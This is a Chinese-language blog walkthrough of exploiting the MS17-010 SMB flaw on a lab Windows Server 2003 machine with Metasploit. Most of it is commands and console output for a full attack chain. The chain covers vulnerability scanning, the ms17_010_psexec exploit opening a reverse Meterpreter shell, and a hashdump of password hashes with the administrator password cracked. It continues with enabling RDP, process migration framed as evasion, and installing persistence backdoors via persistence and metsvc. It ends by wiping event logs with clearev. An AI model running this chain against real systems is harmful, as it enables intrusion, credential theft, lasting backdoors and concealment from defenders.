Windows漏洞利用 ms17-010
漏洞名称
SMB 远程命令执行漏洞(ms17-010)
漏洞描述
继2016年 8 月份黑客组织 Shadow Brokers 放出第一批 NSA “方程式小组”内部黑客工具后,2017 年 4 月 14 日,Shadow Brokers 再次公布了一批新的 NSA 黑客工具,其中包含了一个攻击框架和多个 Windows 漏洞利用工具。攻击者利用这些漏洞可以远程获取 Windows 系统权限并植入后门。
针对此次泄露的漏洞,微软提前发布了安全公告 MS17-010,修复了泄露的多个 SMB 远程命令执行漏洞。由于此次泄露的漏洞覆盖了大部分常见的 Windows 版本(包括微软不再提供更新服务的 Windows XP 和 Windows Server 2003),网络空间中仍然存在大量可被入侵的设备
永恒之蓝漏洞是通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
漏洞影响
目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
目前在Metasploit上集成的攻击载荷是ms17_010_psexec和ms17_010_eternalblue,我在网上搜了好久,也没找到什么有价值的答案,我自己总结的是两点区别:
一:ms17_010_psexec是SMB的远程代码执行漏洞,ms17_010_eternalblue是SMB的远程窗口内核池损坏漏洞
二:ms17_010_psexec是针对于上述所说的Windows系统都适用的,而ms17_010_eternalblue只适用于win7和win server2008R2的全版本
这次我们使用ms17_010_psexec载荷进行渗透测试
复现过程
复现环境:
攻击机:kali 4.15.0-kali2-amd64(192.168.135.134)
靶机:Windows server2003(192.168.135.136)
利用前提:
1.防火墙必须允许SMB流量出入
2.目标必须使用SMBv1协议
3.目标必须缺少MS17-010补丁
4.目标必须允许匿名IPC $和管道名
信息收集
使用nmap对目标系统进行信息收集同时去扫描目标存在的漏洞(Nessus或者AWVS等扫描器都可以)
| root@kali:~# nmap -sV --script=vuln -O 192.168.135.136 | 
参数-sV表示对目标主机进行软件版本的检测
参数--script=vuln表示适用nmap自带的漏洞库区扫描目标系统存在的漏洞
参数-O表示扫描目标的操作系统
由于nmap默认扫描常用的一千个端口,所以我这里为了节省时间就没有加-p选项
扫出来啦鼎鼎有名的ms08-067漏洞和ms17-010漏洞这两个远程代码执行的漏洞
| Host script results:| smb-vuln-ms08-067:|   VULNERABLE:|   Microsoft Windows system vulnerable to remote code execution (MS08-067)|     State: VULNERABLE|     IDs:  CVE:CVE-2008-4250|           The Server service inMicrosoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary|           code via a crafted RPC request that triggers the overflow during path canonicalization.|          |     Disclosure date: 2008-10-23|     References:|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx | 
| smb-vuln-ms17-010:| VULNERABLE:| Remote Code Execution vulnerability inMicrosoft SMBv1 servers (ms17-010)| State: VULNERABLE| IDs: CVE:CVE-2017-0143| Risk factor: HIGH| A critical remote code execution vulnerability exists inMicrosoft SMBv1| servers (ms17-010).|| Disclosure date: 2017-03-14| References:| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 | 
漏洞利用:
配置数据库
我们使用Metasploit-Framework(简称MSF)去利用ms17-010远程代码执行漏洞
我们首先需要创建一个自己的数据库,将等会使用MSF获取的结果保存到我们自己的数据库中(也可以使用metasploit自带的数据库),MSF默认使用的数据库管理系统是PostgreSQL
打开Postgresql服务:
| root@kali:~# service postgresql start | 
或者
| root@kali:~# /etc/init.d/postgresql start[ ok ] Starting postgresql (via systemctl): postgresql.service. | 
查看数据库运行状态:
| root@kali:~# service postgresql status● postgresql.service - PostgreSQL RDBMSLoaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)Active: active (exited) since Mon 2019-02-18 16:22:16 CST; 24h agoProcess: 11732 ExecStart=/bin/true(code=exited, status=0/SUCCESS)Main PID: 11732 (code=exited, status=0/SUCCESS)2月 18 16:22:16 kali systemd[1]: Starting PostgreSQL RDBMS...2月 18 16:22:16 kali systemd[1]: Started PostgreSQL RDBMS. | 
切换到postgres用户(Postgresql数据库管理系统所创建的用户)
| root@kali:~# su - postgres | 
创建数据库管理员kkk:
| root@kali:~# su - postgrespostgres@kali:~$ createuser kkk -P为新角色输入的口令:再输入一遍: | 
创建数据库及其属主,其语法为createdb --owner=属主 数据库名
| postgres@kali:~$ createdb --owner=kkk database1 | 
然后就可以打开MSF终端利用漏洞啦
| root@kali:~# msfconsole | 
查看当前所连接的数据库:
| msf > db_status[*] postgresql connected to msf | 
断开连接,连接我们刚刚创建的数据库,
断开数据库连接命令:db_disconnent
连接新的数据库:格式是db_connect 用户名:密码@127.0.0.1/数据库名
| msf > db_disconnectmsf > db_connect kkk:passwd@127.0.0.1/database1 | 
确认漏洞
这部分其实就是确认nmap扫描的结果是否准确,MSF提供专门扫描MS17-010的payload(载荷)我们可以在这里尝试一番,熟悉命令
| msf > search ms17-010 //在漏洞库中搜索ms17-010的payload[!] Module database cache not built yet, using slow searchMatching Modules================Name Disclosure Date Rank Description---- --------------- ---- -----------auxiliary/admin/smb/ms17_010_command2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampionSMB Remote Windows Command Executionauxiliary/scanner/smb/smb_ms17_010normal MS17-010 SMB RCE Detectionexploit/windows/smb/ms17_010_eternalblue2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruptionexploit/windows/smb/ms17_010_psexec2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampionSMB Remote Windows Code Execution | 
我们使用auxiliary辅助模块中的ms17_010_command载荷去扫描确认目标系统是否真的有SMB服务的远程代码执行的漏洞
| msf > use auxiliary/admin/smb/ms17_010_command//使用该载荷msf auxiliary(admin/smb/ms17_010_command) > setrhosts 192.168.135.136   //设置目标rhosts => 192.168.135.136msf auxiliary(admin/smb/ms17_010_command) > exploit  //进行攻击[*] 192.168.135.136:445   - Target OS: Windows Server 2003 3790 Service Pack 2[*] 192.168.135.136:445   - Filling barrel with fish... done[*] 192.168.135.136:445   - <---------------- | Entering Danger Zone | ---------------->[*] 192.168.135.136:445   -     [*] Preparing dynamite...[*] 192.168.135.136:445   -         Trying stick 1 (x64)...Miss[*] 192.168.135.136:445   -         [*] Trying stick 2 (x86)...Boom![*] 192.168.135.136:445   -     [+] Successfully Leaked Transaction![*] 192.168.135.136:445   -     [+] Successfully caught Fish-in-a-barrel[*] 192.168.135.136:445   - <---------------- | Leaving Danger Zone | ---------------->[*] 192.168.135.136:445   - Reading from CONNECTION struct at: 0x8fdf1cb0[*] 192.168.135.136:445   - Built a write-what-where primitive...[+] 192.168.135.136:445   - Overwrite complete... SYSTEM session obtained![+] 192.168.135.136:445   - Service start timed out, OK ifrunning a commandor non-service executable...[*] 192.168.135.136:445   - Output for"net group "Domain Admins" /domain":ةĻ     Domain Adminsעˍ     ָ¶¨µœꝀ³ʔ±-------------------------------------------------------------------------------Administrator           ļ®³ɹ¦Ϊ³ɡ£[+] 192.168.135.136:445   - Cleanup was successful[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed | 
Successful 而且目标为Administrator 权限
攻击目标
| msf auxiliary(admin/smb/ms17_010_command) > use exploit/windows/smb/ms17_010_psexec//使用攻击模块msf exploit(windows/smb/ms17_010_psexec) > setrhost 192.168.135.136 //设置目标rhost => 192.168.135.136 | 
对于ms17_010_psexec攻击脚本,不需要设置payload,我原先设置windows/x64/meterpreter/reverse_tcp
载荷一直不出来结果,后来才得知这个攻击脚本里面有meterpreter的载荷,无需设置即可
| msf exploit(windows/smb/ms17_010_psexec) > exploit   //开始攻击[*] Started reverse TCP handler on 192.168.135.134:4444[*] 192.168.135.136:445 - Target OS: Windows Server 2003 3790 Service Pack 2[*] 192.168.135.136:445 - Filling barrel with fish... done[*] 192.168.135.136:445 - <---------------- | Entering Danger Zone | ---------------->[*] 192.168.135.136:445 -     [*] Preparing dynamite...[*] 192.168.135.136:445 -         Trying stick 1 (x64)...Miss[*] 192.168.135.136:445 -         [*] Trying stick 2 (x86)...Boom![*] 192.168.135.136:445 -     [+] Successfully Leaked Transaction![*] 192.168.135.136:445 -     [+] Successfully caught Fish-in-a-barrel[*] 192.168.135.136:445 - <---------------- | Leaving Danger Zone | ---------------->[*] 192.168.135.136:445 - Reading from CONNECTION struct at: 0x8f3e37c0[*] 192.168.135.136:445 - Built a write-what-where primitive...[+] 192.168.135.136:445 - Overwrite complete... SYSTEM session obtained![*] 192.168.135.136:445 - Selecting native target[*] 192.168.135.136:445 - Uploading payload...[*] 192.168.135.136:445 - Created \ZKbfdlYf.exe...[+] 192.168.135.136:445 - Service started successfully...[*] 192.168.135.136:445 - Deleting \ZKbfdlYf.exe...[-] 192.168.135.136:445 - Delete of \ZKbfdlYf.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)[*] Sending stage (179779 bytes) to 192.168.135.136[*] Sleeping before handling stage...[*] Meterpreter session 1 opened (192.168.135.134:4444 -> 192.168.135.136:2240) at 2019-02-19 19:13:26 +0800meterpreter >           //攻击成功,拿到目标的会话 | 
后渗透阶段
先介绍一下Meterpreter:
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。
在后渗透阶段我们将使用Meterpreter进行攻击
| meterpreter > help        //输入help命令可以查看在meterpreter模块下执行的命令meterpreter > sysinfo      //查看系统信息Computer        : MYCOMPUTEROS              : Windows .NET Server (Build 3790, Service Pack 2).Architecture    : x86System Language : zh_CNDomain          : LOUISNIELogged On Users : 3Meterpreter     : x86/windowsmeterpreter > getsystem   //提升到system权限...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).meterpreter > hashdump  //导出SAM数据库的内容Administrator:500:570ce399da1412abaad3b435b51404ee:b9d2d4955b330b503cc792eb6a55bb1f:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:98e07fb45acadfe5febbf70690d16ae0:::SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:18861c2baa27b5a9100c04acbbfa47d9:::IUSR_MYCOMPUTER:1108:e2e508b31b1336d2c996f97338db8790:03320631cb387004f82daec52f03935f:::IWAM_MYCOMPUTER:1109:fc512ee6de7b912f77747be12787d540:0f8f47aec1c4bc8897a81bce48cc20da:::MYCOMPUTER$:1005:aad3b435b51404eeaad3b435b51404ee:979f58fb772361956a63f2bc34036a09::: | 
SAM简介:
SAM是windows系统的一个系统用户账号管理文件。其全称为security account manager。Windows中对用户账户的安全管理使用了安全账号管理器SAM(security account manager)的机制,安全账号管理器对账号的管理是通过安全标识进行的,安全标识在账号创建时就同时创建,一旦账号被删除,安全标识也同时被删除。安全标识是唯一的,即使是相同的用户名,在每次创建时获得的安全标识都时完全不同的。因此,一旦某个账号被删除,它的安全标识就不再存在了,即使用相同的用户名重建账号,也会被赋予不同的安全标识,不会保留原来的权限。
其文件位置:C:\windows\system32\config\SAM
其格式是 用户名称:RID:LM-HASH值:NT-HASH:::
在Windows系统下,有两大hash,分别是LM HASH&NT HASH
对于NT HASH,我们直接可以在cmd5网站进行解密,解密Administrator用户密码为redhat
| msf exploit(windows/smb/ms17_010_psexec) >run post/windows/manage/enable_rdp//打开目标服务器的远程连接msf exploit(windows/smb/ms17_010_psexec) >exploitmeterpreter > portfwd add -l 2222 -r 192.168.135.136 -p 3389  //反弹目标的3389端口到本地的2222端口并监听该端口[*] Local TCP relay created: :2222 <-> 192.168.135.136:3389meterpreter > portfwd    //查看是否反弹成功Active Port Forwards====================   Index  Local         Remote                Direction   -----  -----         ------                ---------   1      0.0.0.0:2222  192.168.135.136:3389  Forward1 total active port forwards.root@kali:~# netstat -an | grep "2222"  //我们在kali查看2222端口是在监听状态tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN    root@kali:~# rdesktop 127.0.0.1:2222 //连接本地的2222端口反弹到目标的3389端口,即打开目标的桌面meterpreter > ps//查看系统进程Process List============ PID   PPID  Name               Arch  Session  User                          Path ---   ----  ----               ----  -------  ----                          ---- 0     0     [System Process]                                                4     0     System             x86   0        NT AUTHORITY\SYSTEM           240   2792  mstsc.exe          x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\mstsc.exe 264   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe 292   808   explorer.exe       x86   0        LOUISNIE\Administrator        C:\WINDOWS\Explorer.EXE 312   264   csrss.exe          x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\csrss.exe 336   264   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\winlogon.exe 384   336   services.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\services.exe 396   336   lsass.exe          x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\lsass.exe 452   1744  wuauclt.exe        x86   2        LOUISNIE\Administrator        C:\WINDOWS\system32\wuauclt.exe 588   384   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEMmeterpreter > migrate 292 //将该会话和系统进程绑定,免杀.格式是:migrate PIDmeterpreter > execute -H -i -f cmd.exe //创建新进程cmd.exe,-H不可见,-i交互 -f用系统命令去执行meterpreter > kali 1569  //杀死进程,格式是:kali PID | 
植入后门,维持控制
| msf exploit(windows/smb/ms17_010_psexec) > sessions  -i 2  //开启第二个会话[*] Starting interaction with 2...meterpreter > run persistence - X -i 5 -p 4445 -r 192.168.135.136 //运行后门程序,-X指定启动的方式为开机自启动,-i反向连接的时间间隔[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.[!] Example: run post/windows/manage/persistence_exeOPTION=value [...][*] Running Persistence Script[*] Resource fileforcleanup created at /root/.msf4/logs/persistence/MYCOMPUTER_20190219.3953/MYCOMPUTER_20190219.3953.rc[*] Creating Payload=windows/meterpreter/reverse_tcpLHOST=192.168.135.136 LPORT=4445[*] Persistent agent script is 99670 bytes longmeterpreter > background[*] Backgrounding session 2...msf exploit(windows/smb/ms17_010_psexec) > backmsf > use exploit/multi/handler//使用exploit/multi/handler监听连入的backdoormsf exploit(multi/handler) > setpayload windows/meterpreter/reverse_tcp//设置载荷payload => windows/meterpreter/reverse_tcpmsf exploit(multi/handler) > setlhost 192.168.135.134  //设置将反弹到本地来lhost => 192.168.135.134msf exploit(multi/handler) > exploit[*] Started reverse TCP handler on 192.168.135.134:4444[*] Sending stage (179779 bytes) to 192.168.135.136[*] Sleeping before handling stage...[*] Meterpreter session 3 opened (192.168.135.134:4444 -> 192.168.135.136:2364) at 2019-02-19 21:42:12 +0800[*] Sending stage (179779 bytes) to 192.168.135.136[*] Sleeping before handling stage...[*] Meterpreter session 4 opened (192.168.135.1 | 
或者我们可以使用metsvc模块来留下后门
metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:
- metsvc.dll 
- metsvc-service.exe 
- metsvc.exe - msf exploit(multi- /handler- ) > sessions -i 2- //- 选择一个会话- meterpreter > run metsvc- //- 运行metsvc- 清除日志: - meterpreter > clearev- [*] Wiping 1 records from Application...- [*] Wiping 26 records from System...- [*] Wiping 2281 records from Security...
end
Windows漏洞利用 ms17-010的更多相关文章
- Windows漏洞利用技术概述
		Windows漏洞利用技术总结 1. 前言 本文是我对漏洞利用技术的学习总结,也是自己践行QAD (Questions.Answer.Discussions)的一次实践.本文通过阅读几位大牛的文章.演 ... 
- Windows漏洞利用与防护(2015.8)
		Windows平台下的漏洞利用与防护 0x00 概述 在过去的二十几年,Windows作为网络安全的主战场之一,攻于防的较量从未停息过.内存破坏漏洞作为研究的重点之一,经历了很多的发展也沉淀了前辈们许 ... 
- 个人理解的Windows漏洞利用技术发展史
		大概四.五年前,看过陈皓的酷壳上面的一篇文章,上面有一句话我一直记得,是关于学习技术的心得和态度的. 要了解技术就一定需要了解整个计算机的技术历史发展和进化路线.因为,你要朝着球运动的轨迹去,而不是朝 ... 
- Windows 漏洞利用开发
		第一阶段:简单栈溢出 分析栈溢出原理 寻找溢出点,了解pattern_create和pattern_offset计算溢出点的原理 寻找JMP ESP跳板,分析利用JMP ESP跳板劫持程序流的原理 编 ... 
- 【转帖】2018年Windows漏洞年度盘点
		2018年Windows漏洞年度盘点丨老漏洞经久不衰,新0day层出不穷 腾讯电脑管家2019-02-12共17875人围观 ,发现 1 个不明物体网络安全资讯 https://www.freebuf ... 
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
		摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ... 
- Fibratus:一款功能强大的Windows内核漏洞利用和跟踪工具
		今天给大家介绍的是一款名叫Fibratus的开源工具,广大研究人员可以使用这款功能强大的工具来进行Windows内核漏洞利用.挖掘与跟踪. Fibratus这款工具能够捕捉到绝大多数的Windows内 ... 
- ms17-010漏洞利用教程
		ms17-010 漏洞利用并拿下服务器教程 攻击环境: 攻击机win2003 ip:192.168.150.129 Window2003 Python环境及工具 攻击机kali: ip:192.168 ... 
- apt28组织新的flash漏洞利用包dealerschoice分析
		17号paloalto发布了文章dealerschoice-sofacys-flash-player-exploit-platform,文中提到apt28正在编写adobe flash player的 ... 
随机推荐
- 转:C++ 11 Lambda表达式
			转:https://www.cnblogs.com/DswCnblog/p/5629165.html C++11的一大亮点就是引入了Lambda表达式.利用Lambda表达式,可以方便的定义和创建匿名 ... 
- wangeditor 粘贴word内容带样式
			这种方法是servlet,编写好在web.xml里配置servlet-class和servlet-mapping即可使用 后台(服务端)java服务代码:(上传至ROOT/lqxcPics文件夹下) ... 
- mysql8.0.15出错
			昨天装了一个wireshark,一个fiddler,导致晚上项目启动一直报init database出错,卸载了两个软件,还是不行,后来一看mysql服务停止了,但启动总是失败.按照网上的方法好了. ... 
- 初步认识pug
			一.初步认识pug 1.所谓的pug就是我们之前说的jade,也就是一种通过缩进的方式来编写代码的过程,在编译的过程中,我们不需要考虑标签是否闭合的问题.此外,用这种编译方式,加快了我们写代码的速度, ... 
- Apache + Tomcat 集群的配置
			公司最近新接了一个项目,客户要求WEB SERVER 必须是APACHE,,由于之前的项目一直都是NGINX,,无奈啊,,由于对方的IT又是在三哥的过度,经过一番的争执只能顺应三哥三姐的要求.. 
- 改MYSQL数据库时遇的错
			//http://www.dongcoder.com/detail-1103326.html 
- [Codeforces 729F]  Financiers Game
			题意: 两个人分别从长度为n的数列的两端开始取数,如果前一 个人取了k个数,后一个人必须取k或k+1个. 第一个人最 开始可以取1个或2个,不能操作时结束. 两个人都希望自 己取到的数字之和尽量大,并 ... 
- Egyptian Collegiate Programming Contest 2017 (ACM ECPC 2017) - original tests edition
			题目链接:https://codeforces.com/gym/101856 D. Dream Team 题意:n个点,让你连边成为一棵树,边权为顶点的GCD(u,v).求所有边权和的最大值. 思路: ... 
- eclipse搭建jmeter编译环境(Jmeter二次开发)
			jmeter是开源项目,方便大家对代码进行改动. 写了一个简单教程,帮助入门者进行搭建jmeter编译环境! 下载地址 文件格式为zip,解压后为docx微软office2007文档. 或者直接访问我 ... 
- Git和Github操作
			个人笔记和总结.如有错误欢迎指出https://github.com/zhaozehua0312/leran-gitAndgithub 内容已发布github上 
